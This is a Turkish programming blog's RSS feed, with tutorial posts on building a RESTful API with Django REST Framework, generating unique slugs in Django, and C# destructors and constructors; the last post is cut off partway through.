<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-1600440649102946528</atom:id><lastBuildDate>Sat, 07 Feb 2026 19:17:48 +0000</lastBuildDate><category>python</category><category>c#</category><category>.net</category><category>oop</category><category>ubuntu</category><category>javascript</category><category>android</category><category>darkside</category><category>phonegap</category><category>cordova</category><category>django</category><category>görsel programlama</category><category>html5</category><category>keylogger</category><category>pygame</category><category>rest</category><category>abstract</category><category>access modifiers</category><category>api</category><category>assembly</category><category>blogger</category><category>canvas</category><category>destructors</category><category>dropbox</category><category>eclipse</category><category>encapsulation</category><category>facebook sdk</category><category>inheritance</category><category>interface</category><category>json</category><category>kivy</category><category>linux</category><category>method overloading</category><category>mysql</category><category>nodejs</category><category>operator overloading</category><category>php</category><category>pic</category><category>polymorphism</category><category>speech recognition</category><category>twitch</category><category>veri madenciliği</category><category>virtualenv</category><category>visual studio</category><category>xarchive</category><title>Umut Çağdaş Coşkun</title><description>Programlama konusunda kendini geliştirmeye çalışan birinin yazdıkları.</description><link>http://safkaninsan.blogspot.com/</link><managingEditor>noreply@blogger.com (Umut Çağdaş Coşkun)</managingEditor><generator>Blogger</generator><openSearch:totalResults>51</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-6203352745993681536</guid><pubDate>Fri, 01 Apr 2016 23:51:00 +0000</pubDate><atom:updated>2016-04-08T06:46:06.246+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">api</category><category domain="http://www.blogger.com/atom/ns#">django</category><category domain="http://www.blogger.com/atom/ns#">python</category><category domain="http://www.blogger.com/atom/ns#">rest</category><title>Django ile Hızlı ve Güçlü RESTful API Geliştirme</title><description>&lt;p&gt;Django&#39;nun bir çok sorunu kolayca halletmemizi sağlayan/yardımcı olan bir çok modülü var. Kolayca RESTful API&#39;ler inşa etmek isteyenler için de &quot;Django REST Framework&quot; bunlardan biri. Başlamadan önce, RESTful API hakkında bilgisi olmayan, meraktan gelenler &lt;a href=&quot;http://www.obenplus.com/blog/rest-api-nedir-nasil-kullanilir/&quot; target=&quot;_blank&quot;&gt;buraya tıklayarak&lt;/a&gt; ön bilgi edinebilirler.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6doux3ALms2DTFTxq-NXtRVTGkAM9i8bILCLgrgqOGLm3gDyoWPpDLcHZMWdbD3w_EU-8EprdXx57HjyLSDCxk0iR0bcdqX7brRtIExI31ypea0_0Nh29pUFYRmVv2QBXNueE2Ip188gF/s1600/pitaya.jpg&quot; alt=&quot;Pitaya&quot;/ style=&quot;display: none;&quot;&gt;

&lt;h3&gt;Kurulum&lt;/h3&gt;
&lt;p&gt;Django&#39;nun hali hazırda kurulu olduğunu ve &lt;code&gt;virtual environment&lt;/code&gt; içinde olduğunuzu varsayıyorum. Hemen &lt;code&gt;pip3&lt;/code&gt; ile yükleyelim.&lt;/p&gt;

&lt;pre&gt;pip3 install djangorestframework&lt;/pre&gt;

&lt;p&gt;Başlatılmış bir proje ve uygulama yoksa, aşağıdaki gibi oluşturabilirsiniz. Eğer hali hazırda varolan bir proje içinde kullanmak istiyorsanız o da mümkün. Şuan çalıştığınız uygulama içinde de kullanabilirsiniz tabii, ancak API için ayrı bir uygulama başlatmanızı öneririm.&lt;/p&gt;

&lt;pre&gt;django-admin startproject rest_apisi_olan_proje
cd rest_apisi_olan_proje
python manage.py startapp api&lt;/pre&gt;

&lt;p&gt;Oluşturduğunuz uygulamayı proje içinde kullanabilmek için &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-file-text-o&quot;&gt;&lt;/i&gt;settings.py&lt;/code&gt; içinde tanımlı olması gerekiyor.&lt;/p&gt;

&lt;pre&gt;INSTALLED_APPS = (
    # ...
    &quot;rest_framework&quot;,
    &quot;api&quot;)&lt;/pre&gt;
Ayrı bir uygulama oluşturmamış olasanız bile &lt;code&gt;rest_framework&lt;/code&gt; kısmını eklemelisiniz. Son olarak değişiklikleri veritabanına uygulayalım.&lt;br /&gt;
&lt;pre&gt;python3 manage.py makemigrations
python3 manage.py migrate&lt;/pre&gt;

&lt;h3&gt;Kullanım&lt;/h3&gt;
&lt;p&gt;Şimdi, az önce oluşturduğunuz &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt;api&lt;/code&gt; uygulaması içinde &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-file-text-o&quot;&gt;&lt;/i&gt;serializers.py&lt;/code&gt; dosyası oluşturup, içinde API ile erişim sağlanacak modelleri &lt;abbr title=&quot;Verilen format parametresine göre JSON ya da XML olarak çıktı verecek.&quot;&gt;serialize edecek&lt;/abbr&gt; nesneleri hazırlayın. Bu nesneler &lt;code&gt;ModelSerializer&lt;/code&gt; sınıfından miras almak zorundalar ve meta sınıf içinde model ismi ile serileştirilecek alanların tanımlı olması zorunlu.&lt;/p&gt;

&lt;pre&gt;from app.models import Article

from rest_framework import serializers

class ArticleSerializer(serializers.ModelSerializer):
    class Meta:
        model = Article
        fields = (&quot;id&quot;, &quot;title&quot;, &quot;body&quot;)&lt;/pre&gt;

&lt;p&gt;Şimdi yine &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt;api&lt;/code&gt; uygulaması içindeki &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-file-text-o&quot;&gt;&lt;/i&gt;views.py&lt;/code&gt; dosyasına, aşağıdaki gibi API ile yapılabilmesini istediğimiz fonksiyonları ekleyelim.&lt;/p&gt;

&lt;pre&gt;from django.http import Http404

from app.models import Article
from api.serializers import ArticleSerializer

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status

class ArticleList(APIView):
    &quot;&quot;&quot;
    Kayıtlı makaleleri listele ya da yenisini ekle.
    &quot;&quot;&quot;
    def get(self, request, format=None):
        articles = Article.objects.all()
        serializer = ArticleSerializer(articles, many=True)
        return Response(serializer.data)

    def post(self, request, format=None):
        serializer = ArticleSerializer(data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data, status=status.HTTP_201_CREATED)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)


class ArticleSingle(APIView):
    &quot;&quot;&quot;
    Tekil makale getir, düzenle ya da sil.
    &quot;&quot;&quot;
    def get_object(self, pk):
        try:
            return Article.objects.get(pk=pk)
        except Article.DoesNotExist:
            raise Http404

    def get(self, request, pk, format=None):
        article = self.get_object(pk)
        article = ArticleSerializer(article)
        return Response(article.data)

    def put(self, request, pk, format=None):
        article = self.get_object(pk)
        serializer = ArticleSerializer(article, data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    def delete(self, request, pk, format=None):
        article = self.get_object(pk)
        article.delete()
        return Response(status=status.HTTP_204_NO_CONTENT)&lt;/pre&gt;

&lt;p&gt;Burada APIView sınıflarının içlerinde bulunan fonksiyonlar request tiplerini gösteriyor. Daha önce karşılaşmayanlar için en çok kullanılan dört request tipi; &lt;code&gt;GET&lt;/code&gt; listeleme, &lt;code&gt;POST&lt;/code&gt; ekleme, &lt;code&gt;PUT&lt;/code&gt; düzenleme ve &lt;code&gt;DELETE&lt;/code&gt; silme isteği olduğunu belirtiyor. Tümünü incelemek isterseniz; &lt;a href=&quot;https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods&quot; target=&quot;_blank&quot;&gt;Request methods&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Şimdi hazırladığınız APIView&#39;lar için URL belirleme zamanı. Ben &lt;code&gt;/api/articles&lt;/code&gt; veya &lt;code&gt;/api/articles/1&lt;/code&gt; gibi erişilmesini istediğim için aşağıdaki gibi yaptım. Siz dilediğiniz ismi verebilirsiniz, APIView sınıflarına verdiğiniz ismin bir önemi yok. Oluşturduğumuz &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt;api&lt;/code&gt; modülüne &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-file-text-o&quot;&gt;&lt;/i&gt;urls.py&lt;/code&gt; dosyasını ekleyip kaydedelim.&lt;/p&gt;

&lt;pre&gt;from django.conf.urls import url

from api import views

urlpatterns = [
    url(r&quot;articles$&quot;, views.ArticleList.as_view(),
        name=&quot;api-article-list&quot;),
    url(r&quot;articles/(?P&amp;lt;pk&amp;gt;[0-9]+)$&quot;, views.ArticleSingle.as_view(),
        name=&quot;api-article-single&quot;),
]&lt;/pre&gt;

&lt;p&gt;Tabi yukarıda adresler için &lt;code&gt;/api&lt;/code&gt; ön eki yok. Onu, bu adresleri projenin adreslerine dahil ederken yapacağız. Üzerinde çalıştığınız projenin (ana projenin/uygulamanın) içindeki &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-file-text-o&quot;&gt;&lt;/i&gt;urls.py&lt;/code&gt; dosyasına girin ve şuna benzer bir şekilde yukarıda tanımladığımız adresleri dahil edin.&lt;/p&gt;

&lt;pre&gt;from django.conf.urls import url, include
from django.contrib import admin

urlpatterns = [
    url(r&quot;^admin/&quot;, admin.site.urls),
    url(r&quot;^api/&quot;, include(&quot;api.urls&quot;)),
]&lt;/pre&gt;

&lt;p&gt;Buraya kadar bir problem yoksa her şey tamam demektir. Her zamanki gibi debug serverını çalıştırıp sonucu gözlelerinizle görebilirsiniz.&lt;/p&gt;

&lt;pre&gt;python3 manage.py runserver&lt;/pre&gt;

&lt;p&gt;Yayınladığınız API&#39;ın adresi &lt;code&gt;http://127.0.0.1:8000/api/articles&lt;/code&gt; ya da buna benzer bir şey olacaktır.&lt;/p&gt;

&lt;p&gt;Belirlediğiniz API adreslerine tarayıcıdan girdiğinizde hem o API View hakkında bilgi bulabilecek hem de altta test etmek için bir bölüm göreceksiniz. Bunun haricinde &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/restclient/&quot; target=&quot;_blank&quot;&gt;RESTClient&lt;/a&gt; gibi eklentilerle de test edebilirsiniz.&lt;/p&gt;

&lt;h3&gt;Birim Testi&lt;/h3&gt;
&lt;p&gt;Şimdi, API çalışıyor mu diye &lt;a href=&quot;https://tr.wikipedia.org/wiki/Birim_testi&quot; target=&quot;_blank&quot;&gt;unit test&lt;/a&gt; ile teyit edelim. Önce, test için kullanılmak üzere uygulama içine bir kaç tane deneme kaydı ekleyin -ki buradaki örnekte Article- ve aşağıdaki komut ile bu kayıtlar için &lt;a href=&quot;http://django-testing-docs.readthedocs.org/en/latest/fixtures.html&quot; target=&quot;_blank&quot;&gt;fixture&lt;/a&gt; oluşturun.&lt;/p&gt;

&lt;pre&gt;python3 manage.py dumpdata app --format=json --indent=4 &gt; app/fixtures/articles.json&lt;/pre&gt;

&lt;p&gt;Tabii bu komuttaki &lt;code&gt;app&lt;/code&gt; olan kısımları kendi uygulama isminiz ile değiştirmeyi unutmayın.&lt;/p&gt;

&lt;p&gt;Ardından, oluşturduğunuz &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt;api&lt;/code&gt; uygulaması içine &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-file-text-o&quot;&gt;&lt;/i&gt;tests.py&lt;/code&gt; dosyası oluşturup içine aşağıdaki gibi ya da buna benzer bir test yazın. Konumuz birim testi değil ancak testlerin django-rest-framework ile beraber kullanımından bahsetmek istedim.&lt;/p&gt;

&lt;pre&gt;from django.test import TestCase
from django.core.urlresolvers import reverse

from rest_framework import status
from rest_framework.test import APIClient

from app.models import Article


class ArticleTestCase(TestCase):
    fixtures = [&quot;articles.json&quot;]

    def setUp(self):
        self.client = APIClient()

    def test_article_list_get(self):
        response = self.client.get(reverse(&quot;api-articles-list&quot;))
        self.assertEqual(response.status_code, status.HTTP_200_OK)

    def test_article_list_post(self):
        data = {
            &quot;title&quot;: &quot;Bu bir test başlığıdır.&quot;,
            &quot;message&quot;: &quot;Bu bir test içeriğidir.&quot;,
        }
        response = self.client.post(reverse(&quot;api-articles-list&quot;),
                                    data,
                                    format=&quot;json&quot;)
        self.assertEqual(response.status_code, status.HTTP_201_CREATED)

    def test_article_single_get(self):
        article = Article.objects.first()
        response = self.client.get(reverse(&quot;api-article-single&quot;,
                                           kwargs={&quot;pk&quot;: article.pk}))
        self.assertEqual(response.status_code, status.HTTP_200_OK)

    def test_article_single_delete(self):
        article = Article.objects.first()
        response = self.client.delete(reverse(&quot;api-article-single&quot;,
                                      kwargs={&quot;pk&quot;: article.pk}))
&lt;/pre&gt;

&lt;p&gt;Son olarak testi başlatıyoruz.&lt;/p&gt;

&lt;pre&gt;python3 manage.py test api&lt;/pre&gt;

&lt;p&gt;Eğer aşağıdaki gibi bir ekranla karşılaşırsanız her şey yolunda demektir. Aksi halde karşılaşılan hataları görebilirsiniz.&lt;/p&gt;

&lt;figure&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg77hpWOnXZp07LosTjtB1UmCW3aJRgdiJV99bFr99u0dA0JCjAr_d6FMMuCNF8RjXhWDlu40OuVv2rMjB1mP4ye8njriqPZc6JX0AijCM-38RHC2G0j1yuJXhhCLL594Qk-A-uIMBJi4UX/s1600/django_rest_framework_tests.png&quot; alt=&quot;Django REST Framework Tests&quot;&gt;&lt;/figure&gt;

&lt;p&gt;Merak ettiğiniz bir şey olursa yorumlar bölümünden sormaktan çekinmeyin. :)&lt;br/&gt;
Kolay gelsin...&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2016/04/django-ile-hzl-ve-guclu-restful-api.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6doux3ALms2DTFTxq-NXtRVTGkAM9i8bILCLgrgqOGLm3gDyoWPpDLcHZMWdbD3w_EU-8EprdXx57HjyLSDCxk0iR0bcdqX7brRtIExI31ypea0_0Nh29pUFYRmVv2QBXNueE2Ip188gF/s72-c/pitaya.jpg" height="72" width="72"/><thr:total>9</thr:total><georss:featurename>Turkey</georss:featurename><georss:point>38.272688535980969 32.6953125</georss:point><georss:box>13.981286535980967 -8.6132815 62.564090535980966 74.0039065</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-4917058404093051251</guid><pubDate>Sun, 13 Sep 2015 01:42:00 +0000</pubDate><atom:updated>2015-09-13T04:49:58.623+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">django</category><category domain="http://www.blogger.com/atom/ns#">python</category><title>Django - Benzersiz Slug Alanları Oluşturma</title><description>&lt;p&gt;Normalde &lt;code&gt;slugify&lt;/code&gt; fonksiyonu ile metni slug hale getirebiliyoruz. Ancak bu veritabanında bir kontrol yapmıyor elbette. Örneğin, kayıtları veritabanından URL&#39;den gelen slug verisine göre çekecekseniz aynı başlıklı iki post olduğunda her zaman önce ilk ekleneni çekecektir.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYcBsao2FmxScTi74tYaXpe1Q-rAh-vxt9jUXuGWrgmLx-Nb9lTmhiNrkh7BPE1Y2HZDk8-Ta2VBgHo4_qJUmNvrAg7W2U5HuotAPiQNqWur6epzkEzSdotGDlalHSMDrBFgKGHMEiA3g/s1600/beyin-bedava.jpg&quot; style=&quot;display: none&quot; alt=&quot;Beyin Bedava&quot;/&gt;

&lt;p&gt;Söz konusu modelin &lt;code&gt;save&lt;/code&gt; fonksiyonunu birazcık değiştirerek slug kontrolünü yapıp, benzersiz olana kadar sonuna sayı ekleyelim.&lt;/p&gt;

&lt;p&gt;ornek-slug, ornek-slug-2, ornek-slug-3 gibi...&lt;/p&gt;

&lt;pre&gt;import itertools

from django.db import models
from django.utils.text import slugify

class Post(models.Model):
    title = models.CharField(max_length=128)
    slug = models.SlugField(editable=False)

    def save(self):
        if not self.pk:
            slug = slugify(self.title)

            for n in itertools.count(1):
                if not Post.objects.filter(slug=slug).exists():
                    self.slug = slug
                    break
                slug = &#39;{}-{}&#39;.format(slugify(self.title), n + 1);

        return super(Post, self).save()&lt;/pre&gt;

&lt;p&gt;İlk önce modelin &lt;code&gt;pk&lt;/code&gt; (primary key) değeri olup olmadığını kontrol ediyoruz. Yani daha önce bu model (daha doğrusu nesne) veri tabanına eklenmiş mi (ki ID değeri ekleme esnasında oluşur) yani kullanıcı o an düzenleme mi yapıyor yoksa ilk defa mı eklenecek.&lt;/p&gt;

&lt;p&gt;Ben slug belirleme işlemini sadece ilk defa eklenen kayıtlarda yapmayı uygun gördüm. Çünkü eğer kayıt yayınlandıktan bir süre sonra başlığı düzenlenirse yeni bir slug belirlenecektir ve kaydın linki değişecektir. Bu da hatalara (kayıt bulunamadı, 404 vs) sebep olabilir.&lt;/p&gt;

&lt;p&gt;Bu kontrolü yapıp yapmamak size kalmış.&lt;/p&gt;

&lt;p&gt;Önce kayıt başlığından normal bir slug belirledik. Ardından &lt;code&gt;itertools&lt;/code&gt; ile birer birer artan bir döngü oluşturduk. Kaça kadar gittiğini bilmiyorum ama sonuna ulaşacağını sanmam.&lt;/p&gt;

&lt;p&gt;Döngünün her adımında -geçici olarak belirlediğimiz- slug değerini veritabanında arayıp (exists) olup olmadığına baktık. Eğer böyle bir kayıt yoksa modelin &lt;code&gt;slug&lt;/code&gt; alanını (self.slug) oluşturduğumuz slug yaptık ve döngüyü &lt;code&gt;break&lt;/code&gt; ile sonlandırdık.&lt;/p&gt;

&lt;p&gt;Eğer kayıt varsa slug değerini tekrar belirleyerek sonuna o anki döngü sayacını (+1 olarak) ekledik. Yani, eğer 3 aramadan sonra boş yer bulunursa slug değeri &quot;cok-guzel-baslik-3&quot; olacak.&lt;/p&gt;

&lt;p&gt;Sayacı +1 olarak ekledik çünkü ilk aramadan sonra yer bulunduğunda (döngü sıfırdan başladığı için) slug değeri &quot;guzel-baslik-1&quot; oluyor. Karmaşaya yol açmasın diye en azından &quot;guzel-baslik-2&quot;den başlamasını sağladık.&lt;/p&gt;

&lt;p&gt;If kontrolünün hemen altında, her halükarda üst sınıfın (django.db.models.Model) &lt;code&gt;save&lt;/code&gt; fonksiyonunu çalıştırıp geriye döndürdük.&lt;/p&gt;

&lt;p&gt;** Modelin &lt;code&gt;slug&lt;/code&gt; alanında &lt;code&gt;editable=False&lt;/code&gt; dedim çünkü manuel olarak belirlenememesini istedim. Dilerseniz kaldırabilirsiniz.&lt;/p&gt;

&lt;p&gt;This post inspired by &lt;a href=&quot;https://keyerror.com/blog/automatically-generating-unique-slugs-in-django&quot; target=&quot;_blank&quot;&gt;this&lt;/a&gt;. :P&lt;/p&gt;

&lt;p&gt;Aynı sorunu yaşayıp aradığımda linkteki yazıyı buldum fakat çok fazla dolambaçlı olduğunu düşündüğüm için (ki belki raconu odur bilmiyorum) kendimce biraz kısalttım. Türkçe kaynak olsun diye de bu yazıyı yazdım.&lt;/p&gt;

&lt;p&gt;Eyyorlamam bu kadar. Kolay gelsin...&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/09/django-benzersiz-slug-alanlar-olusturma.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYcBsao2FmxScTi74tYaXpe1Q-rAh-vxt9jUXuGWrgmLx-Nb9lTmhiNrkh7BPE1Y2HZDk8-Ta2VBgHo4_qJUmNvrAg7W2U5HuotAPiQNqWur6epzkEzSdotGDlalHSMDrBFgKGHMEiA3g/s72-c/beyin-bedava.jpg" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-3472302156913573358</guid><pubDate>Wed, 26 Aug 2015 23:17:00 +0000</pubDate><atom:updated>2015-09-13T14:46:02.169+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">destructors</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Destructors (Yıkıcı Metotlar)</title><description>&lt;p&gt;Bir önceki yazıda &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-constructors-yapici-metotlar.html&quot; target=&quot;_blank&quot;&gt;yapıcı metotlardan&lt;/a&gt; bahsetmiştik. Bu yazıda ise yıkıcı metotları inceleyeceğiz. Bunlar bir nesne artık kullanımda olmadığında nesne bellekten temizlenmeden önce çalıştırılan metotlardır. Bu temizleme işlemini Garbage Collector (çöp toplayıcı) mekanizması yapar.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuKbSwuK2Mokk4yHNA3rsMgi2SsCcChVfWqNZ_VG0hEvP2RDt6SRvMurmCWbz3jSIL5uGTGLgoE1Dibf4ZaLhiycX0ffho8IXD_taqW8q0JqodEE4F1QOqtJ6LDEKlerxf53PE1Glr3io/s1600/csharp-destructors-thumb.jpg&quot; alt=&quot;C# - Destructors (Yıkıcı Metotlar)&quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Yıkıcı metotlar çağrılabilen metotlar değildirler. Nesnenin kullanıldığı blok (küme parantezleri) sona erdiğinde çağrılırlar ve nesne hafızadan silinir. Yıkıcı metotların tıpkı yapıcı metotlar gibi geri dönüş tipleri yoktur. Yapıcı metotlardan farklı olarak parametre alamazlar. Yıkıcılar aşırı yüklenemez ve miras alınamazlar. Sadece sınıf içinde tanımlanabilirler.&lt;/p&gt;

&lt;p&gt;Yıkıcıların &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-access-modifiers-erisim-belirleyiciler.html&quot; target=&quot;_blank&quot;&gt;erişim belirleyicisi&lt;/a&gt; yoktur. Tanımlanmadan önce isme &lt;code&gt;~&lt;/code&gt; (tilda) ön eki getirilmelidir. Şimdi basitçe bir örnek yapalım ve yıkıcıların çalışma mantığına bir göz atalım.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public int No { get; set; }

    ~Uye()
    {
        Debug.WriteLine(this.No + &quot;: Yok oluyorum...&quot;);
    }
}&lt;/pre&gt;

&lt;p&gt;Debug sınıfı ile yazılanlar &lt;strong&gt;output&lt;/strong&gt; penceresinde görünürler. Eğer sizde yoksa menüden &quot;View &gt; Output&quot; yolunu izleyerek ya da &lt;code&gt;CTRL + W + O&lt;/code&gt; kombinasyonuna basarak açabilirsiniz. Debug sınıfını kullanabilmek için projenize &lt;code&gt;System.Diagnostics&lt;/code&gt; kütüphanesini çağırmış olmalısınız.&lt;/p&gt;

&lt;p&gt;Şimdi aşağıdaki gibi bir döngü yardımıyla birkaç tane nesne oluşturalım ve çıktı ekranını izleyelim.&lt;/p&gt;

&lt;pre&gt;for (int i = 0; i &lt; 10; i++)
{
    Uye uye = new Uye();
    uye.No = i;
}
Console.ReadLine();&lt;/pre&gt;

&lt;p&gt;Programı çalıştırın ve output ekranını izleyin. Enter tuşuna basmadıkça (çünkü program ReadLine satırı yüzünden bekliyor) nesneler yok edilmeyecektir. Ne zaman ki Enter&#39;a basarınız, göreceksiniz ki program kapanacak ve tüm nesneler yok edilecekler.&lt;/p&gt;

&lt;p class=&quot;console&quot;&gt;9: Yok oluyorum...
8: Yok oluyorum...
7: Yok oluyorum...
6: Yok oluyorum...
5: Yok oluyorum...
4: Yok oluyorum...
3: Yok oluyorum...
2: Yok oluyorum...
1: Yok oluyorum...
0: Yok oluyorum...&lt;/p&gt;

&lt;p&gt;Son eklenen obje ilk önce yok edilmiş. Buradan nesnelerin LIFO sırasıyla yok edildiğini anlamış olduk. Yani bir nevi bir &lt;a href=&quot;https://tr.wikipedia.org/wiki/Y%C4%B1%C4%9F%C4%B1n_(soyut_veri_t%C3%BCr%C3%BC)&quot; target=&quot;_blank&quot;&gt;yığın yapısı&lt;/a&gt; kullanılıyor.&lt;/p&gt;

&lt;p&gt;Yukarıdaki örnekte nesneler içinde bulundukları blok (Main) bitene kadar beklediler. İstersek bu işlemi kendimiz tetikleyebiliriz.&lt;/p&gt;

&lt;pre&gt;Debug.WriteLine(&quot;Nesneler üretiliyor...&quot;);

for (int i = 0; i &lt; 10; i++)
{
    Uye uye = new Uye();
    uye.No = i;
}

GC.Collect();

Console.ReadLine();&lt;/pre&gt;

&lt;p&gt;Gördüğünüz üzere nesneler yok edilmek için Enter tuşuna basmamız beklenmedi. GC (Garbage Collector) sınıfı sayesinde temizleme işlemini manüel yaptık.&lt;/p&gt;

&lt;p class=&quot;console&quot;&gt;10: Yok oluyorum...
1: Yok oluyorum...
0: Yok oluyorum...
9: Yok oluyorum...
8: Yok oluyorum...
7: Yok oluyorum...
6: Yok oluyorum...
5: Yok oluyorum...
4: Yok oluyorum...
3: Yok oluyorum...
2: Yok oluyorum...&lt;/p&gt;

&lt;p&gt;Çıktıya baktığımızda bu sefer temizleme işleminin daha raslantısal bir düzende yapıldığını görebiliriz.&lt;/p&gt;

&lt;p&gt;Pratikte, eğer çok yoğun veri akışı olan büyük projelerde çalışmıyorsanız aslında pek karşınıza çıkacak şeyler değildir. Normalde temizleme işini Garbage Collector üstlenir ama yetersiz geldiği durumlar olabilir. Örneğin bir Thread havuzunu sonlandırabilir, açık dosyaları (stream) kapatabilir ya da veritabanı bağlantısını sonlandırabilirsiniz. Projenizde Windows API&#39;leri gibi &lt;abbr title=&quot;CLR sanal makinesi üzerinde çalışmayan&quot;&gt;unmanaged&lt;/abbr&gt; kod kullandıysanız onları silebilirsiniz.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-destructors-yikici-metotlar.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuKbSwuK2Mokk4yHNA3rsMgi2SsCcChVfWqNZ_VG0hEvP2RDt6SRvMurmCWbz3jSIL5uGTGLgoE1Dibf4ZaLhiycX0ffho8IXD_taqW8q0JqodEE4F1QOqtJ6LDEKlerxf53PE1Glr3io/s72-c/csharp-destructors-thumb.jpg" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-6158651232985668767</guid><pubDate>Wed, 26 Aug 2015 02:12:00 +0000</pubDate><atom:updated>2015-09-13T14:46:15.404+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Constructors (Yapıcı Metotlar)</title><description>&lt;p&gt;Yapıcı metotlar nesne ilk oluşturulduğunda çalışırlar ve nesneyi bir nevi ilk kullanıma hazırlarlar. Bir sınıftan &lt;code&gt;new&lt;/code&gt; anahtar kelimesi ile nesne oluşturulmadığı sürece çalışmazlar. Yapıcı metotlar sınıf ile aynı isme sahiptirler ve geriye bir veri döndürmezler.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2dyn-fHE3GUgjIMjyyKStQ1UoWt8VeTC2mI8Ns2W6mlj3DUm0oxIaUIGSjVlyMrT8f8R-mtsjz1H1cUf9yjwpwBSW2Ukq6WVmwQmYAKeFAVjzGuMiOcUYNv0dn-WTSlUG9jDTE6jEeFI/s1600/csharp-constructors-thumb.gif&quot; alt=&quot;C# - Constructors (Yapıcı Metotlar)&quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Her sınıf, oluşturulduğunda kendisine &lt;code&gt;null&lt;/code&gt; değeri atayacak bir yapıcı metoda sahiptir. Biz yeni bir constructor tanımlarken bir nevi önceki metodu &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-polymorphism-cok-bicimlilik.html&quot; target=&quot;_blank&quot;&gt;override&lt;/a&gt; ederiz.&lt;/p&gt;

&lt;p&gt;Yapıcı metotlar sayesinde sınıftan bir nesne oluşturulurken programcıyı belirli parametreler vermeye zorlayabiliriz. Ya da sınıfın ilk oluşturulma anında aldığımız parametrelere göre belirli işlemler yapabilir veya sınıf özelliklerinin varsayılan değerlerini ayarlayabiliriz.&lt;/p&gt;

&lt;p&gt;Yapıcı metotlar tıpkı diğerleri gibi &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-method-overloading.html&quot; target=&quot;_blank&quot;&gt;overload&lt;/a&gt; edilebilirler. Manüel olarak tetiklenemezler, kendi çalışma zamanları vardır. Geriye değer döndürmezler ancak &lt;code&gt;void&lt;/code&gt; değildirler.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public Uye()
    {
        this.Ad = &quot;Yok&quot;;
        this.Parola = &quot;Yok&quot;;
    }

    public string Ad { get; set; }
    public string Parola { get; set; }
}&lt;/pre&gt;

